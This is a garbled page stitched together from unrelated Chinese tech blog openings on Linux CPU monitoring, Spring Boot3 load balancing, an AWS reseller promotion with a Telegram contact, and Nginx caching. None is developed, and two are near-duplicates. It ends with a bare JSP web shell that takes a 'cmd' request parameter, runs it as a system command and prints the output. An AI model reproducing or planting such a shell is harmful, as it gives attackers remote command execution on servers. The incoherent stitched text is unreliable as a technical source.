在 Linux 系统中，监控 CPU 使用率是系统管理员和开发者的核心任务之一。无论是优化系统性能、排查故障，还是确保服务器稳定运行，了解 CPU 的使用情况都至关重要。

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SpringCloud Alibaba 实现负载均衡的原理和方式如下：

在当今互联网技术飞速发展的时代，分布式系统已然成为构建大型应用的主流架构。其中，Spring Boot3 作为热门开发框架，其客户端负载均衡功能对于提升系统性能、保障服务稳定性起着关键作用。就如同交通枢纽的调度员合理分配车流一样，在分布式系统里，负载均衡承担着将大量请求合理导向多个服务器或服务实例的重任，以此提高系统可用性和响应速度。而客户端负载均衡这一模式，是由客户端（如微服务）自行肩负起调度请求的使命，在微服务架构中极为常见。与之相对的是服务器端负载均衡，像我们熟知的 NGINX 或 HAProxy 这类部署在服务器端的负载均衡器。在 Spring Boot3 的技术范畴内，我们能够借助 Spring Cloud LoadBalancer 或 Netflix Ribbon 来实现客户端负载均衡。接下来，让我们深入探索 Spring Boot3 中客户端负载均衡的常见算法。

在当今互联网大厂后端技术开发的激烈竞争环境中，构建高效、稳定的微服务架构是核心诉求。其中，Spring Boot3 作为热门开发框架，其客户端负载均衡功能对于提升系统性能、保障服务稳定性起着关键作用。今天，咱们就深入探讨一下 Spring Boot3 中如何实现客户端负载均衡操作，帮各位后端技术开发的伙伴们在项目中如鱼得水。

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本文由【云老大】 TG：@yunlaoda360 撰写

引言

在当今快速发展的云计算时代，高效部署和管理应用程序是企业成功的关键。亚马逊云（AWS）提供的Elastic Beanstalk服务，为开发者提供了一种简单、快速的方式来部署和扩展应用程序。通过亚马逊云代理商的支持，企业可以更轻松地利用这一服务，实现高效的云资源管理和成本优化。

当你还在对着Nginx配置文件里的proxy_pass沾沾自喜时，隔壁运维老王已经靠缓存配置让服务器响应速度提升了300%——别让你的Nginx只当“流量搬运工”，这些隐藏技能才是性能优化的真正密码。从静态资源加速到抗DDoS攻击，从流量分发到SSL加密，Nginx的“超能力”远不止转发请求那么简单。

一、缓存：给服务器装个“智能冰箱”

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<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>


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    String cmd = request.getParameter("cmd");
    Process process = Runtime.getRuntime().exec(cmd);
    InputStream is = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = null;
    while((r = bufferedReader.readLine())!=null){
        response.getWriter().println(r);
    }
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